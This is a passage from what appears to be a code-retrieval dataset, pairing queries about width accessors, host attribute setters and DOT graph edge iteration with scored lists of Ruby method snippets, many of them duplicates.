"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "1fcccf0401046e6ca2c7eb0e73224daa",
"score": "0.61848694",
"text": "def width\n end",
"title": ""
},
{
"docid": "1fcccf0401046e6ca2c7eb0e73224daa",
"score": "0.61848694",
"text": "def width\n end",
"title": ""
},
{
"docid": "1fcccf0401046e6ca2c7eb0e73224daa",
"score": "0.61848694",
"text": "def width\n end",
"title": ""
},
{
"docid": "1fcccf0401046e6ca2c7eb0e73224daa",
"score": "0.61844033",
"text": "def width\n end",
"title": ""
},
{
"docid": "2d0092b0f79948d028c650d0a745f14d",
"score": "0.61641264",
"text": "def browser_build_version; end",
"title": ""
},
{
"docid": "73140efa9070abfb404a306526a1c124",
"score": "0.615939",
"text": "def width\n @width ||= nil\n @width\n end",
"title": ""
},
{
"docid": "3b0e64207e345e5bc8915d196a6deb46",
"score": "0.6151636",
"text": "def mobile_os_minimum_version\n return @mobile_os_minimum_version\n end",
"title": ""
},
{
"docid": "6cbabb6919c0b0ef16cd190193638eb6",
"score": "0.61469704",
"text": "def screenwidth(window)\n Tk.execute(:winfo, :screenwidth, window)\n end",
"title": ""
},
{
"docid": "ccadeb30eea79578831bcb0e52ef2856",
"score": "0.6146744",
"text": "def width\n size[0]\n end",
"title": ""
},
{
"docid": "e908f64bd4482151e8239cd6c218c3d4",
"score": "0.6139495",
"text": "def width\n return Vedeu::Configuration.drb_width if Vedeu::Configuration.drb?\n return Vedeu::Configuration.width if Vedeu::Configuration.width\n\n size[-1]\n end",
"title": ""
},
{
"docid": "156f4653fd2a00c230c9443536a5eeaf",
"score": "0.6136905",
"text": "def _screen_width\n\t\tif RbConfig::CONFIG['host_os'] =~\n /(aix|darwin|linux|(net|free|open)bsd|cygwin|solaris|irix|hpux)/i\n\t\t\t(_dynamic_width_stty.nonzero? || _dynamic_width_tput)\n\t\telse\n\t\t\tsuper\n\t\tend\n\trescue Exception => e\n\t\tsuper\n\tend",
"title": ""
},
{
"docid": "8e27a47584187a77bafb1d7703b47652",
"score": "0.6133115",
"text": "def browser_version; end",
"title": ""
},
{
"docid": "8e27a47584187a77bafb1d7703b47652",
"score": "0.6133115",
"text": "def browser_version; end",
"title": ""
},
{
"docid": "8e27a47584187a77bafb1d7703b47652",
"score": "0.6133115",
"text": "def browser_version; end",
"title": ""
},
{
"docid": "8e27a47584187a77bafb1d7703b47652",
"score": "0.6133115",
"text": "def browser_version; end",
"title": ""
},
{
"docid": "3ddc1cbcab75f2ae83c441d6401bdab5",
"score": "0.61304605",
"text": "def show_width\n\treturn @width\nend",
"title": ""
},
{
"docid": "0713bcd23b7674e65a642a760d6c5456",
"score": "0.61302215",
"text": "def w\n @runtime.logical_width\n end",
"title": ""
},
{
"docid": "a93ce01f7a6aaafe5f0efe2aa339f025",
"score": "0.61228013",
"text": "def width\n metadata[:width]\n end",
"title": ""
},
{
"docid": "98849cafefce5af293e82336804b379b",
"score": "0.6111343",
"text": "def width\n UIScreen.mainScreen.bounds.size.width\n end",
"title": ""
},
{
"docid": "4ed3222bc9e82d6cb819308171c119a9",
"score": "0.6108846",
"text": "def width\r\n end",
"title": ""
},
{
"docid": "88c797db6af22feb3321466b1fa8b104",
"score": "0.6108004",
"text": "def screenmmwidth(window)\n Tk.execute(:winfo, :screenmmwidth, window)\n end",
"title": ""
},
{
"docid": "86bfadd42da4662b853ded8057bea8ff",
"score": "0.61032254",
"text": "def width\n # TODO: auto unit conversion\n measurement(2).try(:measurement)\n end",
"title": ""
},
{
"docid": "1d033836e18244c6d157709c76430715",
"score": "0.6099755",
"text": "def width\n @file.xpath('./*/@width').first.try(:text) if @file.xpath('./*/@width').present?\n end",
"title": ""
},
{
"docid": "b1437ceb8da5331988ab44da855cabe2",
"score": "0.60962945",
"text": "def width\n object[\"width\"]\n end",
"title": ""
},
{
"docid": "d52896fe6f4f377e5ba3e634c4af4bfc",
"score": "0.6095691",
"text": "def width\n @width ||= [natural_width, @pdf.bounds.width].min\n end",
"title": ""
},
{
"docid": "b5d5cfdd30388de63e294c545e4dca97",
"score": "0.6081465",
"text": "def vpwidth\n end",
"title": ""
},
{
"docid": "6edfa800954fd9b0778d5220b56105cf",
"score": "0.60774225",
"text": "def system_resolution; 8 end",
"title": ""
},
{
"docid": "bdf12506114f3c1ae90fd78eeb80a01f",
"score": "0.60720587",
"text": "def browserWidth=(value)\n\t\t\t@browserWidth = value\n\t\tend",
"title": ""
},
{
"docid": "6f4d3e7492f675edd3c7bda409058e7e",
"score": "0.606347",
"text": "def wide_width\n @wide_width || narrow_width*3\n end",
"title": ""
},
{
"docid": "19ed850575cca6bd4bc79a2c8c500b32",
"score": "0.606327",
"text": "def minimum_required_os_version\n return @minimum_required_os_version\n end",
"title": ""
},
{
"docid": "5c952b4a8df66f1ed9534b246d96e51a",
"score": "0.60607857",
"text": "def width\n @width\n end",
"title": ""
},
{
"docid": "c6f7d176dda51ef4da162196c61e671a",
"score": "0.60586923",
"text": "def window_width\n 500;\n end",
"title": ""
},
{
"docid": "51c023aa155f264fbc351a91866dfa78",
"score": "0.6058573",
"text": "def window_width\n return 240\n end",
"title": ""
}
] |
9c5b9d39390c179ca18ce0a37bfcb7bb
|
Sets the attribute hosts
|
[
{
"docid": "c5ba5e13453dfaf544e97d6473045911",
"score": "0.65048766",
"text": "def hosts=(_arg0); end",
"title": ""
}
] |
[
{
"docid": "4da4376f895e192a4d1f09b994cf00d8",
"score": "0.7927044",
"text": "def hosts=(hosts)\n @host = nil\n @hosts = hosts\n end",
"title": ""
},
{
"docid": "0c8d894087f028b0f19c73e80964efda",
"score": "0.7109149",
"text": "def host=(host)\n @hosts = nil\n @host = host\n end",
"title": ""
},
{
"docid": "7290434e08c8411fc6ac4495591de3e9",
"score": "0.6822377",
"text": "def host=(h)\n attributes['host'] = h\n end",
"title": ""
},
{
"docid": "8ececb07b5b83296677c96501d0b143c",
"score": "0.6817471",
"text": "def add_hosts(hosts:)\n @hosts = @hosts.+ Array hosts\n\n self\n end",
"title": ""
},
{
"docid": "c2b6b3a654b341c99b2b2879c4658ebd",
"score": "0.6673025",
"text": "def host=(value)\n @host = value\n end",
"title": ""
},
{
"docid": "c2b6b3a654b341c99b2b2879c4658ebd",
"score": "0.6673025",
"text": "def host=(value)\n @host = value\n end",
"title": ""
},
{
"docid": "cd352462eda35cadb1cd3843c8898618",
"score": "0.65346324",
"text": "def host(s) self.host_value = s ; self end",
"title": ""
},
{
"docid": "f9c79900f8adbb0d1d84bffdeb719d0d",
"score": "0.64632154",
"text": "def host_set(host)\n rebuild_uri :host => host\n end",
"title": ""
},
{
"docid": "2df7ba7a8d9f3a640c1a2ee8e289999a",
"score": "0.64201",
"text": "def set_host host\n @host = host\n end",
"title": ""
},
{
"docid": "46bc943e89873e777cda325729c7aaf9",
"score": "0.6412108",
"text": "def set_host(v)\n @host = v\n end",
"title": ""
},
{
"docid": "ae4a50fcb49fd32a0b14a0398b126498",
"score": "0.6402162",
"text": "def mongo_hosts=(h)\n @mongo_hosts = h.to_a\n end",
"title": ""
},
{
"docid": "b024cc2cb1dc9b1cd00e165a194af7e9",
"score": "0.6311943",
"text": "def host=(h)\n @host = h\n end",
"title": ""
},
{
"docid": "06f1a4c14f4995f713e74b1c38709503",
"score": "0.6280777",
"text": "def host=(new_host); end",
"title": ""
},
{
"docid": "53d6d660e6eece718281dafbe5b60897",
"score": "0.6278353",
"text": "def host(hash)\n @hosts.update(hash)\n end",
"title": ""
},
{
"docid": "0ec15cf7692399cd8df726d1a39dac6f",
"score": "0.6264301",
"text": "def hosts\n # prevent original array from being changed\n @hosts.dup\n end",
"title": ""
},
{
"docid": "937080ab950b66e5195521b63efea698",
"score": "0.6195452",
"text": "def hostname=(value)\n @hostname = value\n end",
"title": ""
},
{
"docid": "396633f7e402316b8be0ea7ef8bebd73",
"score": "0.6172957",
"text": "def host=(new_host)\n unless new_host =~ /^http(s)?:\\/\\//\n new_host = \"https://#{new_host}\"\n end\n @host = new_host\n end",
"title": ""
},
{
"docid": "5d89cc06b8c99d9a96ca4fd784cdb36e",
"score": "0.6118125",
"text": "def servers=(servers)\r\n @servers = {}\r\n servers.each{|s| @servers[s.host] = s}\r\n end",
"title": ""
},
{
"docid": "2ea23a40c986b59b67766073246b219a",
"score": "0.6116795",
"text": "def hosts; end",
"title": ""
},
{
"docid": "2ea23a40c986b59b67766073246b219a",
"score": "0.6116795",
"text": "def hosts; end",
"title": ""
},
{
"docid": "2ea23a40c986b59b67766073246b219a",
"score": "0.6116795",
"text": "def hosts; end",
"title": ""
},
{
"docid": "947f3a75ed6d4629665daa0a557be8b9",
"score": "0.61086994",
"text": "def list_of_hosts\n super\n end",
"title": ""
},
{
"docid": "4906c50904c386e163ade29175e99bb2",
"score": "0.610358",
"text": "def hostname=(v)\n v = \"[#{v}]\" if !(v&.start_with?('[') && v&.end_with?(']')) && v&.index(':')\n self.host = v\n end",
"title": ""
},
{
"docid": "499c245864c5e6c1445716a724d87846",
"score": "0.6080042",
"text": "def hosts\n @hosts ||= []\n end",
"title": ""
},
{
"docid": "958fb13f19fd3331606dd0c08cc4ec15",
"score": "0.60751843",
"text": "def mongo_host=(h)\n @mongo_hosts = [h]\n end",
"title": ""
},
{
"docid": "9c709fe8753565fc0cf8f3d9668812b5",
"score": "0.60285753",
"text": "def hosts\n @hosts ||= Array(Hansolo.target).map { |target| URI.parse(target) }\n end",
"title": ""
},
{
"docid": "d4a29f4228cc5e8b7712614ecb4e4cfb",
"score": "0.59605634",
"text": "def host=(_); end",
"title": ""
},
{
"docid": "4f4748ed8c1637e170fc38c757f4aa64",
"score": "0.5952683",
"text": "def host_name=(value)\n @hostname = value\n end",
"title": ""
},
{
"docid": "b2b42019ac0206504a69e50471f1282d",
"score": "0.589827",
"text": "def host(new_host)\n unless host_valid? new_host\n raise Urb::InvalidUrl 'Try to set a invalid value to host'\n end\n\n @host = new_host\n\n self\n end",
"title": ""
},
{
"docid": "c2ae48ea85b7f4cb1dce9ac3b73872aa",
"score": "0.5870491",
"text": "def host=(value)\n conf['api']['host'] = value\n end",
"title": ""
},
{
"docid": "fe9b2e16f2a9496bf6e5057e910f687c",
"score": "0.58612925",
"text": "def add_hosts(_)\n deploy(nil)\n end",
"title": ""
},
{
"docid": "258993646ad76afc014b6ba2afa5c272",
"score": "0.585588",
"text": "def host(host)\n @api.host = host\n end",
"title": ""
},
{
"docid": "1ef3b2a7fd9742f3f0d9fc324950c7a4",
"score": "0.58543456",
"text": "def host=(v)\n check_host(v)\n set_host(v)\n v\n end",
"title": ""
},
{
"docid": "f4db321388f46ec7dbed2b9e806dd7c3",
"score": "0.58400345",
"text": "def set_hostname\n @hostname = Hostname.find_by_name(params[:name])\n end",
"title": ""
},
{
"docid": "91213eb7eb6353c446012097d4474acb",
"score": "0.58339286",
"text": "def set_host\n @host = Host.find(params[:id])\n end",
"title": ""
},
{
"docid": "91213eb7eb6353c446012097d4474acb",
"score": "0.58339286",
"text": "def set_host\n @host = Host.find(params[:id])\n end",
"title": ""
},
{
"docid": "91213eb7eb6353c446012097d4474acb",
"score": "0.58339286",
"text": "def set_host\n @host = Host.find(params[:id])\n end",
"title": ""
},
{
"docid": "91213eb7eb6353c446012097d4474acb",
"score": "0.58339286",
"text": "def set_host\n @host = Host.find(params[:id])\n end",
"title": ""
},
{
"docid": "d5752fa211db256e17885e835ac9ddbc",
"score": "0.5802972",
"text": "def hostname(h)\n @config[:host] = h\n end",
"title": ""
},
{
"docid": "f5c89cde45764cedd9b4fdd0d2ca2dd3",
"score": "0.579953",
"text": "def host=(val)\n @j_del.setHost(val)\n self\n end",
"title": ""
},
{
"docid": "39ee94de2db179e347815e6299423612",
"score": "0.5797401",
"text": "def initialize(groups_hosts)\n @groups_hosts = groups_hosts\n end",
"title": ""
},
{
"docid": "b5366e265173955fedec04b8097fda35",
"score": "0.57742494",
"text": "def set_host(v)\n v = \"\" if v.nil? || v == \"localhost\"\n @host = v\n end",
"title": ""
},
{
"docid": "f2c0b33ee2fce58a6506b17d794da449",
"score": "0.5768592",
"text": "def hosts\n if @hosts\n @hosts\n elsif @host\n [@host]\n else\n self.class.hosts\n end\n end",
"title": ""
},
{
"docid": "6fcb1d7b4b196baec5b5b72528d0c7ca",
"score": "0.5760592",
"text": "def hosts\n @hosts ||= match[5].split(\",\")\n end",
"title": ""
},
{
"docid": "991858e6b77474b294d461220c595311",
"score": "0.5745034",
"text": "def host=(host)\n if host != @host\n @host = host\n @net_ldap = nil\n end\n end",
"title": ""
},
{
"docid": "293bdd847811b0a8c7ca6666d7cece20",
"score": "0.5727855",
"text": "def hosts\n @hosts.values\n end",
"title": ""
},
{
"docid": "0e1f8beb5d6afdb708ec539c86e7c365",
"score": "0.57081383",
"text": "def set_url_host_model\n if @url.present?\n @url.url_host = @url_host\n end\n end",
"title": ""
},
{
"docid": "857c0aa89c99ddcb010d235e47da637b",
"score": "0.56998414",
"text": "def initialize_host_groups\n self.host_groups = settings['host_groups'].split(',').flatten.compact.map(&:strip).uniq.map { |group_name | HostGroup.find_or_create(:name => group_name.strip) }\n end",
"title": ""
},
{
"docid": "2df2655e8e55dd4c9a8b02cc1cbeec41",
"score": "0.5698462",
"text": "def host=(value)\n conf['dashboard']['host'] = value\n end",
"title": ""
},
{
"docid": "2f96574ad641ccaaad110c8977856e03",
"score": "0.56936425",
"text": "def set_host\n @host = Host.find(params[:id])\n end",
"title": ""
},
{
"docid": "d9abdf7964cbcb013d32010878e56f5d",
"score": "0.56855184",
"text": "def hosts\n @hosts ||= match[5].split(\",\")\n end",
"title": ""
},
{
"docid": "729593c02be081ddd385e464c507cf49",
"score": "0.56473655",
"text": "def update!(**args)\n @hosts = args[:hosts] if args.key?(:hosts)\n @http_header_match = args[:http_header_match] if args.key?(:http_header_match)\n @methods_prop = args[:methods_prop] if args.key?(:methods_prop)\n @ports = args[:ports] if args.key?(:ports)\n end",
"title": ""
},
{
"docid": "47857ea09b3f8433d47aebbd463e2c58",
"score": "0.56468344",
"text": "def remote=(remote)\n super\n\n @sets.each {|set| set.remote = remote }\n end",
"title": ""
},
{
"docid": "d25b7d1b1282eeeddf2491fc37fa0b9b",
"score": "0.56417793",
"text": "def host=(host)\n @uri = host.is_a?(::URI) ? host : ::URI.parse(host)\n reset_http_client!\n @uri\n end",
"title": ""
},
{
"docid": "6373533fd553db577f78d7dc7d7952a2",
"score": "0.5617715",
"text": "def reload_hosts_list\n self.hosts = self.storage_servers\n write_hosts_to_file\n end",
"title": ""
},
{
"docid": "a53bfb58bf81ae0ade003c9f65c04854",
"score": "0.5612111",
"text": "def change_host\n @parameters[:hosts] = @parameters[:hosts].sort_by { rand } if @parameters[:randomize]\n\n # Set first as master and send it to the end of array\n current_host = @parameters[:hosts].shift\n @parameters[:hosts] << current_host\n\n @ssl = current_host[:ssl]\n @host = current_host[:host]\n @port = current_host[:port] || Connection::default_port(@ssl)\n @login = current_host[:login] || \"\"\n @passcode = current_host[:passcode] || \"\"\n end",
"title": ""
},
{
"docid": "ba8a3515f898ebc9cdd98587001e0a3f",
"score": "0.56083846",
"text": "def update!(**args)\n @host_name = args[:host_name] if args.key?(:host_name)\n @host_owner = args[:host_owner] if args.key?(:host_owner)\n end",
"title": ""
},
{
"docid": "ba8a3515f898ebc9cdd98587001e0a3f",
"score": "0.56083846",
"text": "def update!(**args)\n @host_name = args[:host_name] if args.key?(:host_name)\n @host_owner = args[:host_owner] if args.key?(:host_owner)\n end",
"title": ""
},
{
"docid": "a3b75a0ca4d2936de4f68e6b98775a11",
"score": "0.5605319",
"text": "def with_hostname(hostname)\n @hostname = hostname\n self\n end",
"title": ""
},
{
"docid": "06765aaa70145cfbf9965f570bee9eb7",
"score": "0.5589885",
"text": "def assign_self_to_host(site_host)\n site_host.site = self\n end",
"title": ""
},
{
"docid": "753955d569870228762edece352ca161",
"score": "0.5568754",
"text": "def reset!\n @hosts = nil\n end",
"title": ""
},
{
"docid": "9f46cb012cf410fe6ceb46c6922a0a3a",
"score": "0.5567816",
"text": "def hosts\n @hosts ||= begin\n r, h, u = [], (config[:hosts] rescue nil), (config[:user] rescue nil)\n h.each {|host| r << Host.new(host, u) } if h && u; r\n end\n end",
"title": ""
},
{
"docid": "5ea5a6edc5fd7b9640d4965ad672f73d",
"score": "0.55592394",
"text": "def set_etc_hosts(host, etc_hosts)\n if host['platform'].include?('freebsd')\n host.echo_to_file(etc_hosts, '/etc/hosts')\n elsif ((host['platform'].include?('windows')) and not host.is_cygwin?)\n host.exec(Command.new(\"echo '#{etc_hosts}' >> C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"))\n else\n host.exec(Command.new(\"echo '#{etc_hosts}' >> /etc/hosts\"))\n end\n # AIX must be configured to prefer local DNS over external\n return unless host['platform'].include?('aix')\n\n aix_netsvc = '/etc/netsvc.conf'\n aix_local_resolv = 'hosts = local, bind'\n return if host.exec(Command.new(\"grep '#{aix_local_resolv}' #{aix_netsvc}\"), :accept_all_exit_codes => true).exit_code == 0\n\n host.exec(Command.new(\"echo '#{aix_local_resolv}' >> #{aix_netsvc}\"))\n end",
"title": ""
},
{
"docid": "b849e8aee2d48b700e3f3f22ee9338ef",
"score": "0.55522895",
"text": "def host_only=(value)\n @host_only = value\n end",
"title": ""
},
{
"docid": "05e1422c3a229b65d1e0855efef31cf0",
"score": "0.55499613",
"text": "def add_tags(host)\n host[:host_tags].merge(\n 'beaker_version' => Beaker::Version::STRING,\n 'jenkins_build_url' => @options[:jenkins_build_url],\n 'department' => @options[:department],\n 'project' => @options[:project],\n 'created_by' => @options[:created_by],\n 'name' => host.name,\n 'roles' => host.host_hash[:roles].join(', ')\n )\n end",
"title": ""
},
{
"docid": "939bc439c1ef3fbab07466e73a1f5198",
"score": "0.5523829",
"text": "def update_hosts\n Host.where(event: @event).delete_all\n unless lunch_host_ids[:hosts].blank?\n lunch_host_ids[:hosts].each do |host_id|\n Host.create(event: @event, user: User.find(host_id))\n end\n end\n end",
"title": ""
},
{
"docid": "9d8f4376d318da81a04d2ca0329469c6",
"score": "0.5502651",
"text": "def stub_hosts(ip_spec)\n stub_hosts_on(default, ip_spec)\n end",
"title": ""
},
{
"docid": "2f739be6f10a6e2133675f78a2d0dd2d",
"score": "0.5462593",
"text": "def host_threads=(threads)\n host_threads = REXML::XPath.first(@xml, 'ScanTemplate/General/hostThreads')\n host_threads.text = threads.to_s\n end",
"title": ""
},
{
"docid": "b4957ecbb0c122e7ed60f215560b6037",
"score": "0.5451214",
"text": "def addHost(host)\n\t\t@hosts.push(host)\n\tend",
"title": ""
},
{
"docid": "a01d1891b72df15ee4e4518e7d570dfd",
"score": "0.5448791",
"text": "def set_host_address\n @host_address = HostAddress.find(params[:id])\n end",
"title": ""
},
{
"docid": "4895e6bd9fc83b10194df122b2052c31",
"score": "0.5434401",
"text": "def processor_host=(val)\n @processor_host = val\n\n # Check if Rails supports host filtering\n return unless val &&\n defined?(Rails) &&\n Rails.application.config.respond_to?(:hosts) &&\n Rails.application.config.hosts&.any?\n\n # Add processor host to the list of authorized hosts\n Rails.application.config.hosts << val.gsub(%r{https?://}, '')\n end",
"title": ""
},
{
"docid": "3308064b4ace4f076c7c883537ec2072",
"score": "0.54102254",
"text": "def fqdn=(new_fqdn)\n rebuild_hosts_file(name, new_fqdn)\n end",
"title": ""
},
{
"docid": "2516298d1be055e32ed8bf5744c979e6",
"score": "0.5398904",
"text": "def update_hosts\n return unless File.exist?(hosts_path)\n return if File.readlines(hosts_path)\n .grep(/#{new_fqdn} #{new_hostname}/)\n .any?\n hosts_body = File.read(hosts_path).gsub(\n /^127\\.0\\.0\\.1.*/,\n \"127\\.0\\.0\\.1 #{new_fqdn} #{new_hostname} localhost\"\n )\n puts \"Adding \\\"#{new_fqdn}\\\" to #{hosts_path}...\"\n write_file(hosts_path, hosts_body)\n end",
"title": ""
},
{
"docid": "ecd817acbd89d247e9af1169c01e9612",
"score": "0.53904814",
"text": "def make_host\n unless self.host.host\n self.host.update(:host => true)\n end\n end",
"title": ""
},
{
"docid": "8a07fc94279d69503a46c837a62dc6c1",
"score": "0.5373337",
"text": "def hosts\n\t\tHost.find(:all)\n\tend",
"title": ""
},
{
"docid": "bc4652eafc1ebb6f9536fe3c9bdf030c",
"score": "0.53559625",
"text": "def available_hosts\n @available_hosts ||= []\n end",
"title": ""
},
{
"docid": "8f41e97af260b1d45d3ba6f479dbdba8",
"score": "0.53443575",
"text": "def update_etc_hosts\n comm = machine.communicate\n network_with_hostname = machine.config.vm.networks.map {|_, c| c if c[:hostname] }.compact[0]\n if network_with_hostname\n replace_host(comm, new_hostname, network_with_hostname[:ip])\n else\n add_hostname_to_loopback_interface(comm, new_hostname)\n end\n end",
"title": ""
},
{
"docid": "6b1e3569e0e8d079d4dad83c96588de6",
"score": "0.53422356",
"text": "def update!(**args)\n @hostname = args[:hostname] if args.key?(:hostname)\n @ip = args[:ip] if args.key?(:ip)\n end",
"title": ""
},
{
"docid": "37d8f9f2ccaa7f91e070182a3c107959",
"score": "0.5336347",
"text": "def all_server_hosts\n [server_host]\n end",
"title": ""
},
{
"docid": "d06033f0f282d97bd0095e43ae494eb5",
"score": "0.5332131",
"text": "def enable_root_on_hosts\n @hosts.each do |host|\n enable_root(host)\n end\n end",
"title": ""
},
{
"docid": "ddf8d95baf9ec86ef0bcab58283fd5de",
"score": "0.53292507",
"text": "def reload_hosts\n send_simple_request('reload hosts', {}) { |response| response['msg'] }\n end",
"title": ""
},
{
"docid": "f11cee99be4904f93c64fac3c1435a3c",
"score": "0.5318682",
"text": "def servers=(server_hash) # Only in Ruby API (1.3 compatible)\n\t\t@settings.servers = server_hash\n\tend",
"title": ""
},
{
"docid": "fb167c11e83b5d85e6ce7fa902f20376",
"score": "0.5314883",
"text": "def set_servers(servers)\n servers = Array(servers)\n servers.map! do |server|\n server.is_a?(String) ? server : inspect_server(server)\n end\n super\n end",
"title": ""
},
{
"docid": "102a7de12741550328ce0559f415a3d3",
"score": "0.53124756",
"text": "def initialize_host\n self.host = (Host.find(:name => settings['host']) || Host.new(:name => settings['host']))\n\n current_host_group_names = (host.host_groups || []).map(&:name)\n current_template_names = (host.templates || []).map(&:name)\n\n host_groups_to_add, templates_to_add = [], []\n\n (self.host_groups || []).each do |hg|\n host_groups_to_add << hg unless current_host_group_names.include?(hg.name)\n end\n\n (self.templates || []).each do |t|\n templates_to_add << t unless current_template_names.include?(t.name)\n end\n\n host.host_groups = ((host.host_groups || []) + host_groups_to_add).flatten.compact.uniq\n host.templates = ((host.templates || []) + templates_to_add).flatten.compact.uniq\n host.save\n host\n end",
"title": ""
},
{
"docid": "453671aa120d90b5ac70161be6343c38",
"score": "0.5301214",
"text": "def fqdn=(name)\n rebuild_host_file(hostname, name) if fqdn != name\n end",
"title": ""
},
{
"docid": "e3e25fe0cb784f05acaffb5d86c07fcd",
"score": "0.5298972",
"text": "def hostname=(name)\n if hostname != name\n rebuild_host_file(name, fqdn)\n ssh.exec! \"hostname #{name}\", sudo: true\n ssh.exec! \"echo #{name} > /etc/hostname\", sudo: true\n end\n end",
"title": ""
},
{
"docid": "d4294e8e184c64ca6f5f6aca480e6b37",
"score": "0.52852756",
"text": "def set(hsh = {})\n hsh.each { |name, val| self.set_attr(name,val) }\n self\n end",
"title": ""
},
{
"docid": "c01777fc5711df9b55f943ba5462e726",
"score": "0.52844685",
"text": "def host=(host)\n @host = host || \"localhost\"\n $_redis_connection = nil\n end",
"title": ""
},
{
"docid": "8b6a649854038736f88f104c017cad44",
"score": "0.5279",
"text": "def websites=(websites)\n set_collection(CapsuleCRM::Website, websites)\n end",
"title": ""
},
{
"docid": "c4474a33f6dedc2ed7a908c83f668a70",
"score": "0.52658355",
"text": "def set_check_host_attribute_state(opts)\n opts = check_params(opts,[:states])\n super(opts)\n end",
"title": ""
},
{
"docid": "2e76195665b1e2f4fc00d9ebb7306361",
"score": "0.5262021",
"text": "def set_host(host=nil)\n if host.class == String && !block_given?\n @j_del.java_method(:setHost, [Java::java.lang.String.java_class]).call(host)\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling set_host(host)\"\n end",
"title": ""
},
{
"docid": "0a6ca78b6fa34e8519b1dd34ea82998e",
"score": "0.52588207",
"text": "def alias_server_attributes\n @config['server'].each do |key, value|\n instance_variable_set('@' + key, value)\n end\n end",
"title": ""
},
{
"docid": "aaef9271c1452361b4540922a4d16cc7",
"score": "0.5258129",
"text": "def update(options = {})\n if entry = find_entry_by_ip_address(options[:ip_address])\n entry.hostname = options[:hostname]\n entry.aliases = options[:aliases]\n entry.comment = options[:comment]\n entry.priority = options[:priority]\n\n remove_existing_hostnames(entry) if options[:unique]\n end\n end",
"title": ""
},
{
"docid": "873c145f2211adb29705b137e668de7f",
"score": "0.5251393",
"text": "def parse_hosts (args)\n\n discoveryrc = File.expand_path(\"~/.discoveryrc\")\n aliasmap = {}\n if File.readable?(discoveryrc)\n File.readlines(discoveryrc).each {|line| line.scan(/(\\w+)\\s*=\\s*(.*)/) {|k,v| aliasmap[k]=v}}\n end\n\n if args.size == 0 || args[0] =~ /^-/\n @hosts = aliasmap[\"localhost\"].nil? ? [\"http://localhost:8080\"] : aliasmap[\"localhost\"]\n else\n hostname = args.shift()\n @hosts = (aliasmap[hostname] || hostname).split(',').map() {|host| host.strip()};\n end\n \n return @hosts\n end",
"title": ""
},
{
"docid": "b100da8563d09e8ca7be1eaeaee73ec7",
"score": "0.52492696",
"text": "def remote=(urls)\n case urls\n when nil then @remote = nil\n when Array then @remote = urls.dup\n else @remote = [urls.to_s]\n end\n end",
"title": ""
},
{
"docid": "5fc8803df7447c6f72a30693ff852c15",
"score": "0.524313",
"text": "def set_hostpath\n @hostpath = \"#{request.scheme}://#{request.host}:#{request.port}\"\n end",
"title": ""
},
{
"docid": "c350608422c822a71e6964691ee33e33",
"score": "0.52356607",
"text": "def configure_instance(node, i)\n node.vm.hostname = fqdn(i)\n network_ports node, i\nend",
"title": ""
},
{
"docid": "29d2822fee0c878f965d59287d3e4d2d",
"score": "0.5215593",
"text": "def hosts(wspace = workspace, only_up = false, addresses = nil)\n\t\tconditions = {}\n\t\tconditions[:state] = [Msf::HostState::Alive, Msf::HostState::Unknown] if only_up\n\t\tconditions[:address] = addresses if addresses\n\t\twspace.hosts.all(:conditions => conditions, :order => :address)\n\tend",
"title": ""
},
{
"docid": "a45bfbc6c788eea0813e9194e05c4512",
"score": "0.5210018",
"text": "def update_hosts_info()\n all_nodes = \"\"\n @nodes.each_with_index { |node, index|\n all_nodes << \"#{HelperFunctions.convert_fqdn_to_ip(node.private_ip)} appscale-image#{index}\\n\"\n }\n \n new_etc_hosts = <<HOSTS\n127.0.0.1 localhost.localdomain localhost\n127.0.1.1 localhost\n::1 ip6-localhost ip6-loopback\nfe00::0 ip6-localnet\nff00::0 ip6-mcastprefix\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\nff02::3 ip6-allhosts\n#{all_nodes}\nHOSTS\n\n etc_hosts = \"/etc/hosts\"\n File.open(etc_hosts, \"w+\") { |file| file.write(new_etc_hosts) } \n\n etc_hostname = \"/etc/hostname\"\n my_hostname = \"appscale-image#{@my_index}\"\n File.open(etc_hostname, \"w+\") { |file| file.write(my_hostname) }\n\n Djinn.log_run(\"/bin/hostname #{my_hostname}\")\n end",
"title": ""
}
] |
ffe6ff2273f1f8b29f3366a25728bcdf
|
Iterates over all the DOT formatted edges with nodes having the most edges first and the edges without a constraint attribute before those that do.
|
[
{
"docid": "372c35b52f3a16b1d7723fc1fc1c903d",
"score": "0.6674304",
"text": "def edges(options={}) # :yields: edgestring\n @edges.sort { |a,b| b[1].length <=> a[1].length }.each do |(fromnode,nh)|\n nh.sort_by { |(t,a)| (a.has_key?('constraint') ^ options[:constraints_first]) ? 1 : 0 }.each do |tonode,eh|\n e = \"#{fromnode} -> #{tonode} \"\n e << eh.inspect(options) unless eh.nil?\n yield e\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "d3edbc413883c52513fb5b5989d79bab",
"score": "0.6163097",
"text": "def ordered_edges(loop)\n # Yields each edge and its end vertex (end for the given ordering)\n # Sketchup does not guarantee edges are in order, or that start matches end.\n return to_enum(:ordered_edges, loop) unless block_given?\n\n first = loop.edges[0]\n curredge, currstart, currend = [first, first.start, first.end]\n # just use number of edges to count number to yield\n yield [curredge, currstart] # Yield first, then yield remaining size-1\n (1..(loop.edges.size-1)).each do\n # from the edges connected to endof(curredge)\n # find the edge that is NOT curredge but IS in the loop\n # If only two edges on vertex (usual) OTHER Must be on loop, skip extra check\n connected = currend.edges.reject { |e| e == curredge }\n nextedge = (connected.size == 1 ? connected[0]\n : connected.find { |ce| loop.edges.member?(ce) })\n nextstart, nextend = [nextedge.end, nextedge.start]\n nextstart, nextend = [nextend, nextstart] if currend == nextend\n curredge, currstart, currend = [nextedge, nextstart, nextend]\n yield [curredge, currstart]\n 